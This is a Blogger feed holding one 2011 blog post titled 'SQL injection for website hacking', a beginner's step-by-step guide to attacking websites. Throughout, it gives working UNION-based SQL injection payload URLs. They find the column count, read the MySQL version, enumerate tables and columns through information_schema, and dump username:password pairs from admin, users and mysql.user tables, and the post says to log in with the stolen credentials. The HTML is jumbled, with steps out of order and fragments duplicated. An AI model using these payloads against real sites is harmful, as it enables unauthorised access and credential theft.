<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-478766876460640956</id><updated>2012-02-16T05:02:18.008-08:00</updated><category term='Thank you Manthan'/><title type='text'>INVENT</title><subtitle type='html'>Give me a computer I will show you some lives there</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://cadir.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/478766876460640956/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://cadir.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>cadir</name><uri>http://www.blogger.com/profile/13977209297407907152</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>1</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-478766876460640956.post-6540664379172644137</id><published>2011-06-13T15:30:00.000-07:00</published><updated>2011-06-13T16:10:01.725-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Thank you Manthan'/><title type='text'>SQL injection for website hacking</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt; &lt;div align="left"&gt;What is SQL injection?&lt;/div&gt;&lt;div align="left"&gt;It's one of the most common vulnerability in web applications today.&lt;/div&gt;&lt;div align="left"&gt;It allows attacker to execute database query in url and gain access to some confidential Information etc...( In shortly).&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;div align="left"&gt;1. &lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;SQL Injection (classic or error based)&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;div align="left"&gt;2. &lt;/div&gt;&lt;div align="left"&gt;So let's start with some action&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;Blind SQL Injection (the harder part)&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="color: #0000ce; font-family: Calibri,Bold;"&gt;&lt;span style="color: #0000ce; font-family: Calibri,Bold;"&gt;&lt;div align="left"&gt;Step 1&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: #333333; font-family: Calibri,Bold;"&gt;&lt;span style="color: #333333; font-family: Calibri,Bold;"&gt;Check for vulnerability&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-family: Calibri,Bold;"&gt;&lt;span style="color: #333333; font-family: Calibri,Bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;div align="left"&gt;Let's say that we have some site like this &lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;http://www.site.com/news.php?id=5&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;div align="left"&gt;Now to test if is vulnerable we add to the end of url &lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;' &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;(quote), and that would be &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;http://www.site.com/news.php?id=5'&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;div align="left"&gt;so if we get some error like&lt;/div&gt;&lt;div align="left"&gt;"&lt;/div&gt;&lt;div align="left"&gt;etc...&lt;/div&gt;&lt;div align="left"&gt;Or something similar&lt;/div&gt;&lt;div align="left"&gt;That means is vulnerable to sql injection :)&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="color: #0000ce; font-family: Calibri,Bold;"&gt;&lt;span style="color: #0000ce; font-family: Calibri,Bold;"&gt;&lt;div align="left"&gt;Step 2&lt;/div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-family: Calibri,Bold;"&gt;&lt;span style="color: #333333; font-family: Calibri,Bold;"&gt;&lt;u&gt;Find the number of columns&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;div align="left"&gt;To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well&lt;/div&gt;&lt;div align="left"&gt;just incrementing the number until we get an error.&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 order by 1/* &amp;lt;-- no error&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 order by 2/* &amp;lt;-- no error&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 order by 3/* &amp;lt;-- no error&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 order by 4/* &amp;lt;-- error&lt;/div&gt;&lt;div align="left"&gt;(We get message like this Unknown column '4' in 'order clause' or something like that)&lt;/div&gt;&lt;div align="left"&gt;That means that the it has 3 columns, because we got an error on 4.&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: Calibri,Bold;"&gt;&lt;span style="color: blue; font-family: Calibri,Bold;"&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="left"&gt;Step 3 &lt;/div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;With union we can select more data in one sql statement.&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: Calibri,Bold;"&gt;&lt;span style="color: blue; font-family: Calibri,Bold;"&gt;&lt;div align="left"&gt;Step 4&lt;/div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold;"&gt;&lt;u&gt;Check for MySQL version&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,2,3/*&lt;/div&gt;&lt;div align="left"&gt;NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work&lt;/div&gt;&lt;div align="left"&gt;properly.&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;div align="left"&gt;Let’s say that we have number 2 on the screen, now to check for version we replace the number 2 with &lt;/div&gt;&lt;div align="left"&gt;version () and get something like 4.1.33-log or 5.0.45 or similar.&lt;/div&gt;&lt;div align="left"&gt;It should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error&lt;/div&gt;&lt;div align="left"&gt;"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."&lt;/div&gt;&lt;div align="left"&gt;I didn't see any paper covering this problem, so i must write it .&lt;/div&gt;&lt;div align="left"&gt;What we need is convert () function&lt;/div&gt;&lt;div align="left"&gt;i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*&lt;/div&gt;&lt;div align="left"&gt;Or with hex () and unhex ()&lt;/div&gt;&lt;div align="left"&gt;i.e.http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*&lt;/div&gt;&lt;div align="left"&gt;And you will get MySQL version.&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;@@version or&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: Calibri,Bold;"&gt;&lt;span style="color: blue; font-family: Calibri,Bold;"&gt;&lt;div align="left"&gt;Step 5&lt;/div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold;"&gt;&lt;u&gt;Getting table and column name&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;div align="left"&gt;Well if the MySQL version is &amp;lt; 5 (i.e. 4.1.33, 4.1.12...) &amp;lt;--- later I will describe for MySQL &amp;gt; 5 version. We must guess&lt;/div&gt;&lt;div align="left"&gt;table and column name in most cases. Common table names are: user/s, admin/s, and member/s ... common column&lt;/div&gt;&lt;div align="left"&gt;names are: username, user, usr, username, password, pass, passwd, pwd etc...&lt;/div&gt;&lt;div align="left"&gt;I.e. would be http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*&lt;/div&gt;&lt;div align="left"&gt;(We see number 2 on the screen like before, and that's good )&lt;/div&gt;&lt;div align="left"&gt;We know that table admin exists...&lt;/div&gt;&lt;div align="left"&gt;Now to check column names. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*&lt;/div&gt;&lt;div align="left"&gt;(If you get an error, then try the other column name)&lt;/div&gt;&lt;div align="left"&gt;We get username displayed on screen, example would be admin, or superadmin etc...&lt;/div&gt;&lt;div align="left"&gt;Now to check if column password exists&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*&lt;/div&gt;&lt;div align="left"&gt;(If you get an error, then try the other column name)&lt;/div&gt;&lt;div align="left"&gt;We seen password on the screen in hash or plain-text, it depends of how the database is set up .&lt;/div&gt;&lt;div align="left"&gt;i.e. md5 hash, mysql hash, sha1...&lt;/div&gt;&lt;div align="left"&gt;Now we must complete query to look nice :)&lt;/div&gt;&lt;div align="left"&gt;For that we can use concat () function (it joins strings)&lt;/div&gt;&lt;div align="left"&gt;i.e.&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,concat&lt;/div&gt;&lt;div align="left"&gt;(Username, 0x3a, password),3 from admin/*&lt;/div&gt;&lt;div align="left"&gt;Note that I put 0x3a, its hex value for: (so 0x3a is hex value for colon)&lt;/div&gt;&lt;div align="left"&gt;(There is another way for that, char (58), ASCII value for : )&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;http://www.site.com/news.php?id=5 union all select 1,concat&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: Calibri,Bold;"&gt;&lt;span style="color: blue; font-family: Calibri,Bold;"&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="left"&gt;Step 6&lt;/div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold;"&gt;&lt;u&gt;MySQL 5&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;div align="left"&gt;Like I said before &lt;/div&gt;&lt;div align="left"&gt;For this we need information_schema. It holds all tables and columns in database.&lt;/div&gt;&lt;div align="left"&gt;To get tables we use table_name and information_schema.tables.&lt;/div&gt;&lt;div align="left"&gt;i.e.&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,table_name,3&lt;/div&gt;&lt;div align="left"&gt;from information_schema.tables/*&lt;/div&gt;&lt;div align="left"&gt;Here we replace the our number 2 with table_name to get the first table from information_schema.tables&lt;/div&gt;&lt;div align="left"&gt;displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.&lt;/div&gt;&lt;div align="left"&gt;i.e&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,table_name,3&lt;/div&gt;&lt;div align="left"&gt;from information_schema.tables limit 0,1/*&lt;/div&gt;&lt;div align="left"&gt;note that i put 0,1 (get 1 result starting from the 0th)&lt;/div&gt;&lt;div align="left"&gt;now to view the second table, we change limit 0,1 to limit 1,1&lt;/div&gt;&lt;div align="left"&gt;i.e&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,table_name,3&lt;/div&gt;&lt;div align="left"&gt;from information_schema.tables limit 1,1/*&lt;/div&gt;&lt;div align="left"&gt;the second table is displayed.&lt;/div&gt;&lt;div align="left"&gt;for third table we put limit 2,1&lt;/div&gt;&lt;div align="left"&gt;i.e&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,table_name,3&lt;/div&gt;&lt;div align="left"&gt;from information_schema.tables limit 2,1/*&lt;/div&gt;&lt;div align="left"&gt;keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D&lt;/div&gt;&lt;div align="left"&gt;To get the column names the method is the same.&lt;/div&gt;&lt;div align="left"&gt;here we use column_name and information_schema.columns&lt;/div&gt;&lt;div align="left"&gt;the method is same as above so example would be&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,column_name,3&lt;/div&gt;&lt;div align="left"&gt;from information_schema.columns limit 0,1/*&lt;/div&gt;&lt;div align="left"&gt;the first column is diplayed.&lt;/div&gt;&lt;div align="left"&gt;the second one (we change limit 0,1 to limit 1,1)&lt;/div&gt;&lt;div align="left"&gt;ie.&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,column_name,3&lt;/div&gt;&lt;div align="left"&gt;from information_schema.columns limit 1,1/*&lt;/div&gt;&lt;div align="left"&gt;the second column is displayed, so keep incrementing until you get something like&lt;/div&gt;&lt;div align="left"&gt;username,user,login, password, pass, passwd etc...&lt;/div&gt;&lt;div align="left"&gt;if you wanna display column names for specific table use this query. (where clause)&lt;/div&gt;&lt;div align="left"&gt;let's say that we found table users.&lt;/div&gt;&lt;div align="left"&gt;i.e&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,column_name,3&lt;/div&gt;&lt;div align="left"&gt;from information_schema.columns where table_name='users'/*&lt;/div&gt;&lt;div align="left"&gt;now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.&lt;/div&gt;&lt;div align="left"&gt;Note that this won't work if the magic quotes is ON.&lt;/div&gt;&lt;div align="left"&gt;let's say that we found colums user, pass and email.&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;I’m &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;going to explain how to get table and column names in MySQL &amp;gt; 5.&lt;/span&gt;&lt;/span&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;div align="left"&gt;Hacking For Beginners &lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;– &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: medium;"&gt;Manthan Desai &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: white; font-family: Calibri; font-size: large;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: large;"&gt;&lt;span style="color: white; font-family: Calibri; font-size: large;"&gt;2010&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;div align="left"&gt;now to complete query to put them all together&lt;/div&gt;&lt;div align="left"&gt;for that we use concat() , i decribe it earlier.&lt;/div&gt;&lt;div align="left"&gt;i.e&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,concat&lt;/div&gt;&lt;div align="left"&gt;(user,0x3a,pass,0x3a,email) from users/*&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="left"&gt;what we get here is user:pass:email from table users.&lt;/div&gt;&lt;div align="left"&gt;example: admin:pass:blabla@whatever.com&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="left"&gt;(username,char(58), password),3 from admin/*&lt;/div&gt;&lt;div align="left"&gt;Now we get displayed username:password on screen, i.e. admin:admin or admin:somehash when you have this, you&lt;/div&gt;&lt;div align="left"&gt;can login like admin or some superuser if can't guess the right table name, you can always try mysql.user (default) it&lt;/div&gt;&lt;div align="left"&gt;has user i password columns, so example would be&lt;/div&gt;&lt;div align="left"&gt;http://www.site.com/news.php?id=5 union all select 1,concat&lt;/div&gt;&lt;div align="left"&gt;(user,0x3a,password) ,3 from mysql.user/*&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;span style="font-family: Calibri,Bold; font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div align="left"&gt;So we have http://www.site.com/news.php?id=5 union all select 1,2,3/*&lt;/div&gt;&lt;div align="left"&gt;(We already found that numbers of columns are 3 in section 2). if we see some numbers on screen, i.e. 1 or 2 or 3 then&lt;/div&gt;&lt;div align="left"&gt;the UNION works&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,Bold;"&gt;&lt;u&gt;Check for UNION function&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/478766876460640956-6540664379172644137?l=cadir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cadir.blogspot.com/feeds/6540664379172644137/comments/default' title='تعليقات الرسالة'/><link rel='replies' type='text/html' href='http://cadir.blogspot.com/2011/06/sql-injection-for-website-hacking.html#comment-form' title='0 تعليقات'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/478766876460640956/posts/default/6540664379172644137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/478766876460640956/posts/default/6540664379172644137'/><link rel='alternate' type='text/html' href='http://cadir.blogspot.com/2011/06/sql-injection-for-website-hacking.html' title='SQL injection for website hacking'/><author><name>cadir</name><uri>http://www.blogger.com/profile/13977209297407907152</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
